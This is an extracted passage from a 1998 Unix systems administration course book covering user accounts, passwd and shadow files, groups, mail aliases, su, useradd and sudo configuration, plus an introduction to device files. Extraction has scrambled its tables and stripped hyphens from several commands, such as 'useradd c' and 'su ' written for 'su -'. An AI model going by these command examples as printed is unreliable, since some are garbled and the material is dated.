Normally all new users are given the same startup files. Rather than create the same files from scratch all the time, copies are usually kept in a directory called a skeleton directory. This means when you create a new account you can simply copy the startup files from the skeleton directory into the user's home directory. The standard skeleton directory is /etc/skel. It should be remembered that the files in the skeleton directory are dot files and will not show up if you simply use ls /etc/skel. You will have to use the -a switch for ls to see dot files. Exercises
9.1

9.2

Examine the contents of the skeleton directory on your system (if you have one). Write a command to copy the contents of that directory to another. Hint: It's harder than it looks. Use the bash dot files to create an alias dir that performs the command
ls -al

The mail file

When someone sends mail to a user that mail message has to be stored somewhere so that it can be read. Under UNIX each user is assigned a mail file. All user mail files are placed in the same directory. When a new mail message arrives it is appended onto the end of the user's mail file. The location of this directory can change depending on the operating system being used. Common locations are /usr/spool/mail, /var/spool/mail, This is the standard Linux location. /usr/mail /var/mail.

David Jones, Bruce Jamieson (15/10/98)

Page 196

85321, Systems Administration

Chapter 9: Users

All mail in the one location On some sites it is common for users to have accounts on a number of different computers. It is easier if all the mail for a particular user goes to the one location. This means that a user will choose one machine as their mail machine and want all their email forwarded to their account on that machine. There are at least two ways by which mail can be forwarded the user can create a .forward file in their home directory (see Table 7.1), or the administrator can create an alias.

Mail aliases
If you send an e-mail message that cannot be delivered (e.g. you use the wrong address) typically the mail message will be forwarded to the postmaster of your machine. There is usually no account called postmaster (though recent distributions of Linux do). postmaster is a mail alias. When the mail delivery program gets mail for postmaster it will not be able to find a matching username. Instead it will look up a specific file, usually /etc/aliases or /etc/mail/names (Linux uses /etc/aliases). This file will typically have an entry like
postmaster: root

This tells the delivery program that anything addressed postmaster should actually be delivered to the user root. Site aliases Some companies will have a set policy for e-mail aliases for all staff. This means that when you add a new user you also have to update the aliases file. For example The Central Queensland University has aliases set up for all staff. An e-mail with an address using the format Initial.Surname@cqu.edu.au will be delivered to that staff member's real mail address. In my case the alias is d.jones@cqu.edu.au. The main on-campus mail host has an aliases file that translates this alias into my actual e-mail address jonesd@jasper.cqu.edu.au. Linux mail The following exercise requires that you have mail delivery working on your system. You can test whether or not email is working on your system by starting one of the provided email programs (e.g. elm) and send yourself an email message. You do this by using only your username as the address (no @).

David Jones, Bruce Jamieson (15/10/98)

Page 197

85321, Systems Administration

Chapter 9: Users

If it isn't working, refer to the documentation from RedHat on how to get email functioning. Exercises
9.3

9.4

9.5

Send a mail message from the root user to your normal user account using a mail program of your choice. Send a mail message from the root user to the address notHere. This mail message should bounce (be unable to be delivered). You will get a returned mail message. Have a look at the mail file for postmaster. Has it increased? Create an alias for notHere and try the above exercise again. If you have installed sendmail, the following steps should create an alias - login as root, - add a new line containing notHere: root in the file /etc/aliases - run the command newaliases

Account configuration files

Most of the characteristics of an account mentioned above are stored in two or three configuration files. All these files are text files, each account has a oneline entry in the file with each line divided into a number of fields using colons. Table 9.2. lists the configuration files examined and their purpose. Not all systems will have the /etc/shadow file. By default Linux doesn't however it is possible to install the shadow password system. On some platforms the shadow file will exist but its filename will be different. File
/etc/passwd

/etc/shadow

/etc/group

Purpose the password file, holds most of an account characteristics including username, UID, GID, GCOS information, login shell, home directory and in some cases the password the shadow password file, a more secure mechanism for holding the password, common on more modern systems the group file, holds characteristics about a system's groups including group name, GID and group members
Table 9 .2 c o nfig ur atio n file s

Ac c o unt

David Jones, Bruce Jamieson (15/10/98)

Page 198

85321, Systems Administration

Chapter 9: Users

/etc/passwd /etc/passwd is the main account configuration file. Table 9.3 summarises each of the fields in the /etc/passwd file. On some systems the encrypted password will not be in the passwd file but will be in a shadow file.

Field Name login name encrypted password * UID number default GID GCOS information

home directory login shell

* no t o n

Purpose the user's login name encrypted version of the user's password the user's unique numeric identifier the user's default group id no strict purpose, usually contains full name and address details, sometimes called the comment field the directory in which the user is placed when they log in the program that is run when the user logs in
with a sha d o w 9 .3 p a sswo rd file Table

sy ste m s

/etc/passwd

Exercises
9.6

Examine your account's entry in the /etc/passwd field. What is your UID, GID? Where is your home directory and what is your login shell?

Everyone can read /etc/passwd

Every user on the system must be able to read the /etc/passwd file. This is because many of the programs and commands a user executes must access the information in the file. For example, when you execute the command ls -l command part of what the command must do is translate the UID of the file's owner into a username. The only place that information is stored is in the /etc/passwd file.

This is a problem
Since everyone can read the /etc/passwd file they can also read the encrypted password. The problem isn't that someone might be able to decrypt the password. The method used to encrypt the passwords is supposedly a one way encryption algorithm. You aren't supposed to be able to decrypt the passwords.

David Jones, Bruce Jamieson (15/10/98)

Page 199

85321, Systems Administration

Chapter 9: Users

Password matching
The way to break into a UNIX system is to obtain a dictionary of words and encrypt the whole dictionary. You then compare the encrypted words from the dictionary with the encrypted passwords. If you find a match you know what the password is. Studies have shown that with a carefully chosen dictionary, between 10-20% of passwords can be cracked on any machine. Later in this chapter you'll be shown a program that can be used by the Systems Administrator to test users' passwords. An even greater problem is the increasing speed of computers. One modern super computer is capable of performing 424,400 encryptions a second. This means that all six-character passwords can be discovered in two days and all seven-character passwords within four months.

The solution
The solution to this problem is to not store the encrypted password in the /etc/passwd file. Instead it should be kept in another file that only the root user can read. Remember the passwd program is setuid root. This other file in which the password is stored is usually referred to as the shadow password file. It can be stored in one of a number of different locations depending on the version of UNIX you are using. A common location, and the one used by the Linux shadow password suite, is /etc/shadow.

Shadow file format

Typically the shadow file consists of one line per user containing the encrypted password and some additional information including username, the date the password was last changed, minimum number of days before the password can be changed again, maximum number of days before the password must be changed, number of days until age warning is sent to user, number of days of inactivity before account should be removed, absolute date on which the password will expire. The additional information is used to implement password aging. This will be discussed later in the security chapter.

David Jones, Bruce Jamieson (15/10/98)

Page 200

85321, Systems Administration

Chapter 9: Users

Groups
A group is a logical collection of users. Users with similar needs or characteristics are usually placed into groups. A group is a collection of user accounts that can be given special permissions. Groups are often used to restrict access to certain files and programs to everyone but those within a certain collection of users. /etc/group The /etc/group file maintains a list of the current groups for the system and the users that belong to each group. The fields in the /etc/group file include the group name, A unique name for the group. an encrypted password (this is rarely used today) , the numeric group identifier or GID, and the list of usernames of the group members separated by commas. For example On the Central Queensland University UNIX machine jasper only certain users are allowed to have full Internet access. All these users belong to the group called angels. Any program that provides Internet access has as the group owner the group angels and is owned by root. Only members of the angels group or the root user can execute these files. The default group Every user is the member of at least one group sometimes referred to as the default group. The default group is specified by the GID specified in the user's entry in the /etc/passwd file. Since the default group is specified in /etc/passwd it is not necessary for the username to be added to the /etc/group file for the default group. Other groups A user can in fact be a member of several groups. Any extra groups the user is a member of are specified by entries in the /etc/group file. It is not necessary to have an entry in the /etc/group file for the default group. However if the user belongs to any other groups they must be added to the /etc/group file.

David Jones, Bruce Jamieson (15/10/98)

Page 201

85321, Systems Administration

Chapter 9: Users

Special accounts
All UNIX systems come with a number of special accounts. These accounts already exist and are there for a specific purpose. Typically these accounts will all have UIDs that are less than 100 and are used to perform a variety of administrative duties. Table 9.4. lists some of the special accounts that may exist on a machine. Username
root

UID
0

daemon

bin

Purpose The super user account. Used by the Systems Administrator to perform a number of tasks. Can do anything. Not subject to any restrictions Owner of many of the system daemons (programs that run in the background waiting for things to happen). The owner of many of the standard executable programs

Table 9 .4 Spe c ial ac c o unts

root

The root user, also known as the super user is probably the most important account on a UNIX system. This account is not subject to the normal restrictions placed on standard accounts. It is used by the Systems Administrator to perform administrative tasks that can't be performed by a normal account.

Restricted actions
Some of the actions for which you'd use the root account include creating and modifying user accounts, shutting the system down, configuring hardware devices like network interfaces and printers, changing the ownership of files, setting and changing quotas and priorities, and setting the name of a machine.

David Jones, Bruce Jamieson (15/10/98)

Page 202

85321, Systems Administration

Chapter 9: Users

Be careful
You should always be careful when logged in as root. When logged in as root you must know what every command you type is going to do. Remember the root account is not subject to the normal restrictions of other accounts. If you execute a command as root it will be done, whether it deletes all the files on your system or not.

The mechanics
Adding a user is a fairly mechanical task that is usually automated either through shell scripts or on many modern systems with a GUI based program. However it is still important that the Systems Administrator be aware of the steps involved in creating a new account. If you know how it works you can fix any problems which occur. The steps to create a user include adding an entry for the new user to the /etc/passwd file, setting an initial password, adding an entry to the /etc/group file, creating the user's home directory, creating the user's mail file or setting a mail alias, creating any startup files required for the user, testing that the addition has worked, and possibly sending an introductory message to the user.

Other considerations
This chapter talks about account management which includes the mechanics of adding a new account. User management is something entirely different. When adding a new account, user management tasks that are required include making the user aware of the site's policies regarding computer use, getting the user to sign an "acceptable use" form, letting the user know where and how they can find information about their system, and possibly showing the user how to work the system. These tasks are covered in the following chapter.

Pre-requisite Information
Before creating a new user there is a range of information that you must know including the username format being used at your site, Are you using djones jonesdd david jones or perhaps you're using student or employee numbers for usernames. the user's name and other person information, Phone number, are they a computing person, someone from sales?
David Jones, Bruce Jamieson (15/10/98) Page 203

85321, Systems Administration

Chapter 9: Users

where the user's home directory will be, will this user need a mail file on this machine or should there be an alias set up, startup shell, startup files, UID and GID. Again there should be some site wide standard for this.

Adding an /etc/passwd entry

For every new user, an entry has to be added to the /etc/passwd file. There are a variety of methods by which this is accomplished including using an editor, This is a method that is often used. However it can be unsafe and it is generally not a good idea to use it. the command vipw, or Some systems (usually BSD based) provide this command. vipw invokes an editor so the Systems Administrator can edit the passwd file safely. The command performs some additional steps that ensures that the editing is performed consistently. Some distributions of Linux supply vipw. a dedicated adduser program. Many systems, Linux included, provide a program (the name will change from system to system) that accepts a number of command-line parameters and then proceeds to perform many of the steps involved in creating a new account. The Linux command is called adduser

The initial password

NEVER LEAVE THE PASSWORD FIELD BLANK. If you are not going to set a password for a user put a * in the password field of /etc/passwd or the /etc/shadow file. On most systems, the * character is considered an invalid password and it prevents anyone from using that account. If a password is to be set for the account then the passwd command must be used. The user should be forced to immediately change any password set by the Systems Administrator
/etc/group

entry

While not strictly necessary, the /etc/group file should be modified to include the user's login name in their default group. Also if the user is to be a member of any other group they must have an entry in the /etc/group file. Editing the /etc/group file with an editor should be safe.

David Jones, Bruce Jamieson (15/10/98)

Page 204

85321, Systems Administration

Chapter 9: Users

The home directory

Not only must the home directory be created but the permissions also have to be set correctly so that the user can access the directory. The permissions of a home directory should be set such that the user should be the owner of the home directory, the group owner of the directory should be the default group that the user belongs to, at the very least, the owner of the directory should have rwx permissions, and the group and other permissions should be set as restrictively as possible.

The startup files

Once the home directory is created the startup files can be copied in or created. Again you should remember that this will be done as the root user and so root will own the files. You must remember to change the ownership. For example The following is example set of commands that will perform these tasks.
mkdir home_directory cp -pr /etc/skel/.[a-zA-Z]* home_directory chown -R login_name home_directory chgrp -R group_name home_directory chmod -R 700 home_directory

Setting up mail
A new user will either want to read their mail on this machine, or want to read their mail on another machine. The user's choice controls how you configure the user's mail. A mail file If the user is going to read their mail on this machine then you must create them a mail file. The mail file must go in a standard directory (usually /var/spool/mail under Linux). As with home directories it is important that the ownership and the permissions of a mail file be set correctly. The requirements are the user must be able to read and write the file, After all, the user must be able to read and delete mail messages. the group owner of the mail file should be the group mail and the group should be able to read and write to the file, The programs that deliver mail are owned by the group mail. These programs must be able to write to the file to deliver the user's mail.
David Jones, Bruce Jamieson (15/10/98) Page 205

85321, Systems Administration

Chapter 9: Users

no-one else should have any access to the file, No-one wants anyone else peeking at their private mail. Mail aliases and forwards If the user's main mail account is on another machine, any mail that is sent to this machine should be forwarded to the appropriate machine. There are two methods a mail alias, or a file ~/.forward Both methods achieve the same result. The main difference is that the user can change the .forward file if they wish to. They can't modify a central alias.

Testing an account
Once the account is created, at least in some instances, you will want to test the account creation to make sure that it has worked. There are at least two methods you can use login as the user use the su command. The su command The su command is used to change from one user account to another. To a certain extent it acts like logging in as the other user. The standard format is su username.
[david@beldin david]$ su Password:

Time to become the root user. su without any parameter lets you become the root user, as long as you know the password. In the following the id command is used to prove that I really have become the root user. You'll also notice that the prompt displayed by the shell has changed as well. In particular notice the # character, commonly used to indicate a shell with root permission.
[root@beldin david]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [root@beldin david]# pwd /home/david

Another point to notice is that when you don't use the "" argument for su all that has changed is user and group ids. The current directory doesn't change.
[root@beldin david]# cd / [root@beldin /]# pwd / [root@beldin /]# su david [david@beldin /]$ pwd / [david@beldin /]$ exit

David Jones, Bruce Jamieson (15/10/98)

Page 206

85321, Systems Administration

Chapter 9: Users

However, when you do use the "" argument of the su command, it simulates a full login. This means that any startup files are executed and that the current directory becomes the home directory of the user account you "are becoming". This is equivalent to logging in as the user.
[root@beldin /]# su david [david@beldin david]$ pwd /home/david

If you run su as a normal user you will have to enter the password of the user you are trying to become. If you don't specify a username you will become the root user (if you know the password). The "" switch The su command is used to change from one user to another. By default, su david will change your UID and GID to that of the user david (if you know the password) but won't change much else. Using the - switch of su it is possible to simulate a full login including execution of the new user's startup scripts and changing to their home directory.
su as root

If you use the su command as the root user you do not have to enter the new user's password. su will immediately change you to the new user. su especially with the - switch is useful for testing a new account. Exercises Login as yourself and perform the following steps - show your current directory (use the pwd command), - show you current user id and group id (use the id command), - use su to become the root user, - repeat the first two steps - use the command "su " to simulate a full login as the root user, - repeat the first two steps What's the difference between using su and su -?
9.7

Inform the user

Lastly you should inform the user of their account details. Included in this should be some indication of where they can get assistance and some pointers on where to find more documentation. Exercises
9.8

By hand, create a new account for a user called David Jones.

David Jones, Bruce Jamieson (15/10/98)

Page 207

85321, Systems Administration

Chapter 9: Users

Removing an account
Deleting an account involves reversing the steps carried out when the account was created. It is a destructive process and whenever something destructive is performed, care must always be taken. The steps that might be carried out include disabling the account, backing up and removing the associated files setting up mail forwards. Situations under which you may wish to remove an account include as punishment for a user who has broken the rules, or In this situation you may only want to disable the account rather than remove it completely. an employee has left.

Disabling an account
Disabling an account ensures that no-one can login but doesn't delete the contents of the account. This is a minimal requirement for removing an account. There are two methods for achieving this change the login shell, or Setting the login shell to /bin/false will prevent logins. However it may still be possible for the user to receive mail through the account using POP mail programs like Eudora. change the password. The * character is considered by the password system to indicate an illegal password. One method for disabling an account is to insert a * character into the password field. If you want to re-enable the account (with the same password) simply remove the *. Another method is to simply remove the entry from the /etc/passwd and /etc/shadow files all together. Backing up It is possible that this user may have some files that need to be used by other people. So back everything up, just in case. Remove the user's files All the files owned by the account should be removed from whereever they are in the file hierarchy. It is unlikely for a user to own files that are located outside of their home directory (except for the mail file). However it is a good idea to search for them. Another use for the find command.

David Jones, Bruce Jamieson (15/10/98)

Page 208

85321, Systems Administration

Chapter 9: Users

Mail for old users On some systems, even if you delete the user's mail file, mail for that user can still accumulate on the system. If you delete an account entirely by removing it from the password field, any mail for that account will bounce. In most cases, a user who has left will want their mail forwarded onto a new account. One solution is to create a mail alias for the user that points to their new address.

The Goals of Account Creation

As mentioned previously there is little point in adding users manually. It is a simple task which can be quite easily automated. This section looks at some of the tools you can use to automate this task. There are at least three goals a Systems Administrator will want to achieve with adding users make it as simple as possible automate the addition of large numbers of users delegate the task of adding users to someone else The following sections will show you the tools which will allow you to achieve these goals.

Making it simple
If youve completed exercise 9.9 you should by now be aware of what a straight forward, but time consuming, task creating a new user account is. Creating an account manually might be okay for one or two accounts but adding 100 this way would get quite annoying. Luckily there are a number of tools which make this process quite simple.

useradd
useradd is an executable program which significantly reduces the complexity of adding a new user. A solution to the previous exercise using useradd looks like this
useradd c "David Jones" david

useradd will automatically create the home directory and mail file, copy files from skeleton directories and a number of other tasks. Refer to the useradd man page for more information.

David Jones, Bruce Jamieson (15/10/98)

Page 209

85321, Systems Administration

Chapter 9: Users

userdel and usermod

userdel is the companion command to useradd and as the name suggests it deletes or removes a user account from the system. usermod allows a Systems Administrator to modify the details of an existing user account.

Graphical Tools
RedHat Linux provides a number of tools with graphical user interfaces to help both the Systems Administrator and the normal user. Tools such as userinfo and userpasswd allow normal users to modify their user accounts. RedHat also provides a command called control-panel which provides a graphical user interface for a number of Systems Administration related tasks including user management. control-panel is in fact just a simple interface to run a number of other programs which actually perform the tasks. For example, to perform the necessary user management tasks control-panel will run the command usercfg. Figure 9.1 provides examples of the interface provided by the

usercfg command.
Fig ur e 9 .1 use r c fg inte r fac e

Throughout this text we will be referring to a public domain Systems Administration tool called Webmin (http://www.webmin.com). Webmin provides a Web-based interface to a number of standard Systems Administration tasks including user management. Figure 9.2 displays the Webmin web page for creating a new user account. The major advantage of a tool like Webmin is that it uses the Web. This means it has all the benefits of the Web including the fact that it can be used from anywhere that you have a Web connection.

David Jones, Bruce Jamieson (15/10/98)

Page 210

85321, Systems Administration

Chapter 9: Users

We bmin

Fig ur e 9 .2 use r c r e atio n

inte r fac e

Exercises
9.9

The 85321 Website and CD-ROM contains a copy of Webmin (and also pointers to the Webmin home page for later versions). Install a copy of Webmin onto your system and use it to create a new user account.

Automation
Tools with a graphical user interface are nice and simple for creating one or two users. However, when you must create hundreds of user accounts, they are a pain. In situations like this you must make use of a scripting language to automate the process. The process of creating a user account can be divided into the following steps gathering the appropriate information, deciding on policy for usernames, passwords etc,
David Jones, Bruce Jamieson (15/10/98) Page 211

85321, Systems Administration

Chapter 9: Users

creating the accounts, performing any additional special steps. The steps in this process are fairly general purpose and could apply in any situation requiring the creation of a large number of user accounts, regardless of the operating system.

Gathering the information

The first part of this chapter described the type of information that is required in order to create a UNIX user account. When automating the large scale creation of user accounts this information is generally provided in an electronic format. Often this information will be extracted from a database and converted into the appropriate format. For example, creating Web accounts for students studying 85321 was done by extracting student numbers, names and email addresses from the Oracle database used by Central Queensland University.

Policy
Gathering the raw information is not sufficient. Policy must be developed which specifies rules such as username format, location of home directories, which groups users will belong to and other information discussed earlier in the chapter. There are no hard and fast rules for this policy. It is a case of applying whatever works best for your particular situation. For example CQ-PAN (http://cq-pan.cqu.edu.au) is a system managed mainly by CQU computing students. CQ-PAN provides accounts for students for a variety of reasons. During its history it has used two username formats ba format The first username format, based on that used by Freenet system, was ba005 ba103 ba321 name format This was later changed to something a little more personal, firstnameLastInitialNumber. e.g. davidj1 carolyg1

Creating the accounts

Once you know what format the user information will be in and what formats you wish to follow for user accounts, you can start creating the accounts. Generally this will use the following steps read the information from the provided data file convert it into the format specified in the site policy use the UNIX account creation commands to create the accounts

David Jones, Bruce Jamieson (15/10/98)

Page 212

85321, Systems Administration

Chapter 9: Users

Additional steps
Simply creating the accounts using the steps introduced above is usually not all that has to be done. Most sites may include additional steps in the account creation process such as sending an initial, welcoming email message, Such an email can serve a number of purposes, including informing the new users of their rights and responsibilities. It is important that users be made aware as soon as possible of what they can and can't do and what support they can expect from the Systems Administration team. creating email aliases or other site specific steps.

Changing passwords without interaction

Quite a few years ago there was a common problem that had to be overcome in order to automate the account creation process. This problem was how to set the new user's password without human intervention. Remember, when creating hundreds of accounts it is essential to remove all human interaction. Given that this is such a common problem for UNIX systems, there are now a number of solutions to this problem. RedHat Linux comes with a number of solutions including the commands chpasswd, newusers and mkpasswd. mkpasswd is an example of an Expect (http://expect.nist.gov/) script. Expect is a program that helps to automate interactive applications such as passwd and others including telnet ftp etc. This allows you to write scripts to automate processes which normally require human input. For example In the pre-Web days (1992), satellite weather photos were made available via FTP from a computer at James Cook University. These image files were stored using a standard filename policy which indicated which date and time the images were taken. If you wanted to view the latest weather image you had to manually ftp to the James Cook computer, download the latest image and then view it on your machine. Manually ftping the files was not a large task, only 5 or 6 separate commands, however if you were doing this five times a day it got quite repetitive. Expect provides a mechanism by which a script could be written to automate this process.

Delegation
Systems Administrators are highly paid, technical staff. A business does not want Systems Administrators wasting their time performing mundane, lowlevel, repetitive tasks. Where possible a Systems Administrator should delegate responsibility for low-level tasks to other staff. In this section we examine one approach using the sudo command.
David Jones, Bruce Jamieson (15/10/98) Page 213

85321, Systems Administration

Chapter 9: Users

Allocating root privilege

Many of the menial tasks, like creating users and performing backups, require the access which the root account provides. This means that these tasks can't be allocated to junior members of staff without giving them access to everything else on the system. In most cases you don't want to do this. There is another problem with the root account. If you have a number of trusted Systems Administrators the root account often becomes a group account. The problem with this is that since everyone knows the root password there is now way by which you can know who is doing what as root. There is no accountability. While this may not be a problem on your individual system on commercial systems it is essential to be able to track what everyone does.
sudo

A solution to these problems is the sudo command. sudo (http://www.courtesan.com/courtesan/products/sudo/) is not a standard UNIX command but a widely available public domain tool. It comes standard on most Linux distributions. It does not appear to be included with RedHat 5.0. You can find a copy of sudo on the 85321 Web site/CD-ROM under the Resource Materials section for week 5.
sudo allows you to allocate certain users the ability to run programs as root

without giving them access to everything. For example, you might decide that the office secretary can run the adduser script, or an operator might be allowed to execute the backup script. sudo also provides a solution to the accountability problem. sudo logs every command people perform while using it. This means that rather than using the root account as a group account, you can provide all your Systems Administrators with sudo access. When they perform their tasks with sudo, what they do will be recorded. For example To execute a command as root using sudo you login to your "normal" user account and then type sudo followed by the command you wish to execute. The following example shows what happens when you can and can't executable a particular command using sudo.
[david@mc:~]$ sudo ls We trust you have received the usual lecture from the local System Administrator. It usually boils down to these two things: #1) Respect the privacy of others. #2) Think before you type. 85321.students archive [david@mc:~]$ sudo cat Sorry, user david is not allowed to execute "/bin/cat" as root on mc.

David Jones, Bruce Jamieson (15/10/98)

Page 214

85321, Systems Administration

Chapter 9: Users

If the sudoers file is configured to allow you to execute this command on the current machine, you will be prompted for your normal password. You'll only be asked for the password once every five minutes.
/etc/sudoers

The sudo configuration file is usually /etc/sudoers or in some instances /usr/local/etc/sudoers. sudoers is a text file with lines of the following format
username hostname=command

An example sudoers file might look like this

root david bob jo ALL=ALL ALL=ALL cq-pan=/usr/local/bin/backup ALL=/usr/local/bin/adduser

In this example the root account and the user david are allowed to execute all commands on all machines. The user bob can execute the /usr/local/bin/backup command but only on the machine cq-pan. The user jo can execute the adduser command on all machines. The sudoers man page has a more detail example and explanation. By allowing you to specify the names of machines you can use the same
sudoers file on all machines. This makes it easier to manage a number of

machines. All you do is copy the same file to all your machines (there is a utility called rdist which can make this quite simple).
sudo

advantages

sudo offers the following advantages

accountability because all commands executed using sudo are logged, Logging on a UNIX computer, as you'll be shown in a later chapter, is done via the syslog system. What this means is that on a RedHat 5.0 machine the information from sudo is logged in the file /var/log/messages. menial tasks can be allocated to junior staff without providing root access, using sudo is faster than using su, a list of users with root access is maintained, privileges can be revoked without changing the root password. Some sites that use sudo keep the root password in an envelope in someone's draw. The root account is never used unless in emergencies where it is required.

Exercises
9.10

Install sudo onto your system. The source code for sudo is available from the Resource Materials section of the 83521 Website/CD-ROM.

David Jones, Bruce Jamieson (15/10/98)

Page 215

85321, Systems Administration

Chapter 9: Users

9.11

9.12

9.13

Configure your version of sudo so that you can use it as a replacement for handing out the root password. What does your /etc/sudoers file look like? Use sudo a number of times. What information is logged by the sudo command? One of the listed advantages of sudo is the ability to log what people are doing with the root access. Without some extra effort this accountability can be quite pointless. Why? (Hint: the problem only really occurs with users such as david in the above example sudoers file.

Conclusions
Every user on a UNIX machine must have an account. Components of a user account can include login names (also called a username), passwords, the numeric user identifier or UID, the numeric group identifier or GID, a home directory, a login shell, mail aliases, a mail file, and startup files. Configuration files related to user accounts include /etc/passwd, /etc/shadow, /etc/group, and to a certain extent /etc/aliases Creating a user account is a mechanical task that can and often is automated. Creating an account also requires root privilege. Being the root user implies no restrictions and enables anything to be done. It is generally not a good idea to allocate this task to a junior member of staff. However, there are a number of tools which allow this and other tasks to be delegated.

Review Questions
9.1 For each of the following files/directories describe the purpose they fulfill describe the format of the file The files are /etc/passwd /etc/group /etc/skel

David Jones, Bruce Jamieson (15/10/98)

Page 216

85321, Systems Administration

Chapter 9: Users

9.2 Your company is about to fire an employee. What steps would you perform to remove the employee's account? 9.3 Set up sudo so that a user with the account secretary can run the Linux user management commands which were introduced in this chapter.

David Jones, Bruce Jamieson (15/10/98)

Page 217

85321, Systems Administration

Chapter 10: Managing File Systems

Chapter
Introduction
What?

10

Managing File Systems

In a previous chapter, we examined the overall structure of the Linux file system. This was a fairly abstract view that didn't explain how the data was physically transferred on and off the disk. Nor in fact, did it really examine the concept of "disks" or even "what" the file system "physically" existed on. In this chapter, we shall look at how Linux interacts with physical devices (not just disks), how in particular Linux uses "devices" with respect to its file system and revisit the Linux file system - just at a lower level.

Why?
Why are you doing this? Doesn't this sound all a bit too like Operating Systems? Unless you are content to accept that all low level interaction with the operating system occurs by a mystical form of osmosis and that you will never have to deal with: A Disk crash - an unfortunate physical event involving one of the read/write heads of a hard disk coming into contact with the platter (which is spinning at high speed) causing the removal of the metallic oxide (the substance that maintains magnetic polarity, thus storing data). This is usually a fatal event for the disk (and sometimes its owner). Adding a disk, mouse, modem terminal or a sound card - unlike some unmentionable operating systems, Linux is not "plug-and-pray". The addition of such a device requires modifications to the system. The accidental erasure of certain essential things called "device files" while the accidental erasure of any file is a traumatic event, the erasure of a device file calls for special action. Installing or upgrading to a kernel or OS release - you may suddenly find that your system doesn't know how to talk to certain things (like your CDROM, your console or maybe your SCSI disk...) - you will need to find out how to solve these problems. Running out of some weird thing called "I-Nodes" - an event which means you can't create any more files. ... then you will definitely need to read this chapter!

David Jones, Bruce Jamieson (15/10/98)

Page 218

85321, Systems Administration

Chapter 10: Managing File Systems

A scenario
As we progress through this chapter, we will apply the information to help us solve problems associated with a very common System Administrator's task installing a new hard disk. Our scenario is this: Our current system has a single hard disk and it only has 10% space free (on a good day). This is causing various problems (which we will discuss during the course of this chapter) - needless to say that it is the user directories (off /home) that are using the most space on the system. As our IT department is very poor (we work in a university), we have been budgeting for a new hard disk for the past two years - we had bought a new one a year ago but someone drove a forklift over it. The time has finally arrived - we have a brand new 2.5 gigabyte disk (to complement our existing 500 megabyte one). How do we install it? What issues should we consider when determining its use?

Devices - Gateways to the kernel

A device is...
A device is just a generic name for any type of physical or logical system component that the operating system has to interact with (or "talk" to). Physical devices include such things as hard disks, serial devices (such as modems, mouse(s) etc.), CDROMs, sound cards and tape-backup drives. Logical devices include such things as virtual terminals [every user is allocated a terminal when they log in - this is the point at which output to the screen is sent (STDOUT) and keyboard input is taken (STDIN)], memory, the kernel itself and network ports.

Device files are...

Device files are special types of "files" that allow programs to interact with devices via the OS kernel. These "files" (they are not actually real files in the sense that they do not contain data) act as gateways or entry points into the kernel or kernel related "device drivers".

Device drivers are...

Device drivers are coded routines used for interacting with devices. They essentially act as the "go between" for the low level hardware and the kernel/user interface. Device drivers may be physically compiled into the kernel (most are) or may be dynamically loaded in memory as required.

David Jones, Bruce Jamieson (15/10/98)

Page 219

85321, Systems Administration

Chapter 10: Managing File Systems

/dev
/dev is the location where most device files are kept. A listing of /dev will output the names of hundreds of files. The following is an edited extract from the MAKEDEV (a Linux program for making device files - we will examine it later) man page on some of the types of device file that exist in /dev: std Standard devices. These include mem - access to physical memory; kmem access to kernel virtual memory;null - null device; port - access to I/O ports; Virtual Terminals This are the devices associated with the console. This is the virtual terminal tty_, where can be from 0 though 63. Serial Devices Serial ports and corresponding dialout device. For device ttyS_, there is also the device cua_ which is used to dial out with. Pseudo Terminals (Non-Physical terminals) The master pseudo-terminals are pty[p-s][0-9af] and the slaves are tty[p-s][0-9a-f]. Parallel Ports Standard parallel ports. The devices are lp0, lp1, and lp2. These correspond to ports at 0x3bc, 0x378 and 0x278. Hence, on some machines, the first printer port may actually be lp1. Bus Mice The various bus mice devices. These include: logimouse (Logitech bus mouse), psmouse (PS/2-style mouse), msmouse (Microsoft Inport bus mouse) and atimouse (ATI XL bus mouse) and jmouse (J-mouse). Joystick Devices Joystick. Devices js0 and js1. Disk Devices Floppy disk devices. The device fd_ is the device which autodetects the format, and the additional devices are fixed format (whose size is indicated in the name). The other devices are named as fd___. The single letter _ identifies the type of floppy disk (d = 5.25" DD, h = 5.25" HD, D = 3.5" DD, H = 3.5" HD, E = 3.5" ED). The number _ represents the capacity of that format in K. Thus the standard formats are fd_d360_ fd_h1200_ fd_D720_ fd_H1440_ and fd_E2880_ Devices fd0_ through fd3_ are floppy disks on the first controller, and devices fd4_ through fd7_ are floppy disks on the second controller. Hard disks. The device hdx provides access to the whole disk, with the partitions being hdx[0-20]. The four primary partitions are hdx1 through hdx4, with the logical partitions being numbered from hdx5 though hdx20. (A primary partition can be made into an extended partition, which can hold 4 logical partitions). Drives hda and hdb are the two on the first controller. If using the new

David Jones, Bruce Jamieson (15/10/98)

Page 220

85321, Systems Administration

Chapter 10: Managing File Systems

IDE driver (rather than the old HD driver), then hdc and hdd are the two drives on the secondary controller. These devices can also be used to access IDE CDROMs if using the new IDE driver. SCSI hard disks. The partitions are similar to the IDE disks, but there is a limit of 11 logical partitions (sd_5 through sd_15). This is to allow there to be 8 SCSI disks. Loopback disk devices. These allow you to use a regular file as a block device. This means that images of file systems can be mounted, and used as normal. There are 8 devices, loop0 through loop7. Tape Devices SCSI tapes. These are the rewinding tape devicest_ and the non-rewinding tape device nst_. QIC-80 tapes. The devices are rmt8, rmt16, tape-d, and tape-reset. Floppy driver tapes (QIC-117). There are 4 methods of access depending on the floppy tape drive. For each of access methods 0, 1, 2 and 3, the devices rft_ (rewinding) and nrft_ (non-rewinding) are created. CDROM Devices SCSI CD players. Sony CDU-31A CD player. Mitsumi CD player. Sony CDU-535 CD player. LMS/Philips CD player. Sound Blaster CD player. The kernel is capable of supporting 16 CDROMs, each of which is accessed as sbpcd[0-9a-f]. These are assigned in groups of 4 to each controller. Audio These are the audio devices used by the sound driver. These include mixer, sequencer, dsp, and audio. Devices for the PC Speaker sound driver. These are pcmixer. pxsp, and pcaudio. Miscellaneous Generic SCSI devices. The devices created are sg0 through sg7. These allow arbitrary commands to be sent to any SCSI device. This allows for querying information about the device, or controlling SCSI devices that are not one of disk, tape or CDROM (e.g. scanner, writable CDROM). While the /dev directory contains the device files for many types of devices, only those devices that have device drivers present in the kernel can be used. For example, while your system may have a /dev/sbpcd, it doesn't mean that your kernel can support a Sound Blaster CD. To enable the support, the kernel will have to be recompiled with the Sound Blaster driver included - a process we will examine in a later chapter.

David Jones, Bruce Jamieson (15/10/98)

Page 221

